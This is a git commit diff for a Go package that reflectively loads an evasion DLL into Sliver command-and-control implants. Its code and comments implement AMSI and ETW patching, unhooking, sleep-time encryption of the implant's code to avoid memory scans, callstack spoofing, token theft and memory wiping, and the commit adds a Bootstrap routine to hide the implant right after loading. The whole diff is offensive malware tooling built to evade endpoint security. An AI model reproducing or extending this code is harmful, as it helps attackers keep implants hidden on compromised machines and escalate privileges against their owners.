Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Generated by valak build.zig — zig build && zig-out/bin/valak.dll
|
||||
// Generated by valak build.zig. Build and paste bytes here.
|
||||
// Replace this with the compiled DLL bytes before building.
|
||||
package valak
|
||||
|
||||
|
||||
+33
-19
@@ -1,15 +1,7 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Go bridge for the Valak evasion DLL. Embeds the compiled valak.dll, reflectively
|
||||
// loads it into the current process, resolves exports, and provides clean Go functions.
|
||||
//
|
||||
// Integration with Sliver:
|
||||
// 1. Copy this package into implant/sliver/evasion/valak/
|
||||
// 2. In your Sliver implant init, call: valak.Start()
|
||||
// 3. Replace time.Sleep(d) with: valak.EvasionSleep(d)
|
||||
//
|
||||
// The DLL handles: RC4 .text encryption, NtDelayExecution via indirect syscall,
|
||||
// stack return-address zeroing, and all other evasion in the background.
|
||||
// Go bridge for Valak evasion DLL. Reflectively loads the embedded DLL,
|
||||
// resolves exports, provides Go API for Sliver implant integration.
|
||||
package valak
|
||||
|
||||
import (
|
||||
@@ -39,6 +31,8 @@ var (
|
||||
procWipeMemory uintptr
|
||||
procStealToken uintptr
|
||||
procRev2self uintptr
|
||||
|
||||
valakSize uintptr
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -144,6 +138,7 @@ func loadDLL() error {
|
||||
return fmt.Errorf("VirtualAlloc: %w", err)
|
||||
}
|
||||
dllBase = base
|
||||
valakSize = sizeOfImage
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])
|
||||
|
||||
@@ -356,10 +351,7 @@ func goString(addr uintptr) string {
|
||||
// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
|
||||
func Start() { go loadDLL() }
|
||||
|
||||
// EvasionSleep replaces time.Sleep with RC4-encrypted sleep + callstack spoofing.
|
||||
// During sleep: Go .text + DLL .text encrypted via SystemFunction032. Stack return
|
||||
// address zeroed so EDR frame walks terminate below us. Wake: decrypt, restore return
|
||||
// address, return cleanly.
|
||||
// EvasionSleep replaces time.Sleep with ChaCha20-encrypted sleep and synthetic callstack frames.
|
||||
func EvasionSleep(d time.Duration) {
|
||||
ms := uint32(d.Milliseconds())
|
||||
if dllLoaded && procSleep != 0 {
|
||||
@@ -369,7 +361,7 @@ func EvasionSleep(d time.Duration) {
|
||||
time.Sleep(d) // fallback
|
||||
}
|
||||
|
||||
// InitText tells the DLL where our Go implant's .text lives for RC4 encryption.
|
||||
// InitText tells the DLL where our Go implant's .text lives for encrypted sleep.
|
||||
func InitText() {
|
||||
if dllLoaded && procInitText != 0 {
|
||||
if base, size := findOwnTextSection(); size > 0 {
|
||||
@@ -378,8 +370,8 @@ func InitText() {
|
||||
}
|
||||
}
|
||||
|
||||
// PatchAll runs the full evasion init: stomp -> unhook -> ETW -> AMSI.
|
||||
// Sliver typically calls this in an init goroutine after Start().
|
||||
// PatchAll runs the full evasion init: stomp, unhook, ETW, AMSI.
|
||||
// Call after the DLL finishes loading.
|
||||
func PatchAll() {
|
||||
if !dllLoaded {
|
||||
return
|
||||
@@ -408,6 +400,28 @@ func PatchAll() {
|
||||
InitText()
|
||||
}
|
||||
|
||||
// Bootstrap loads the DLL, patches evasion, inits text encryption, and does
|
||||
// an immediate encrypted sleep to clear the post-load memory scan window.
|
||||
// Blocks until DLL is ready or 10s timeout. Call once at Sliver implant start.
|
||||
func Bootstrap() {
|
||||
go loadDLL()
|
||||
for i := 0; i < 100; i++ {
|
||||
if dllLoaded {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
if !dllLoaded {
|
||||
return
|
||||
}
|
||||
PatchAll()
|
||||
// encrypt .text immediately to clear post-load scan window
|
||||
// Without this, the implant's .text is unencrypted for the first beacon interval.
|
||||
if procSleep != 0 {
|
||||
syscall.SyscallN(procSleep, uintptr(2000))
|
||||
}
|
||||
}
|
||||
|
||||
func StealToken(pid uint32) bool {
|
||||
if procStealToken == 0 {
|
||||
return false
|
||||
@@ -435,8 +449,8 @@ func Cleanup() {
|
||||
if procUnpatchETW != 0 {
|
||||
syscall.SyscallN(procUnpatchETW)
|
||||
}
|
||||
if procWipeMemory != 0 {
|
||||
syscall.SyscallN(procWipeMemory)
|
||||
if procWipeMemory != 0 && dllBase != 0 {
|
||||
syscall.SyscallN(procWipeMemory, dllBase, valakSize)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ package valak
|
||||
|
||||
import "time"
|
||||
|
||||
func Start() {}
|
||||
func Bootstrap() {}
|
||||
func EvasionSleep(d time.Duration) { time.Sleep(d) }
|
||||
func InitText() {}
|
||||
func PatchAll() {}
|
||||
|
||||
Reference in New Issue
Block a user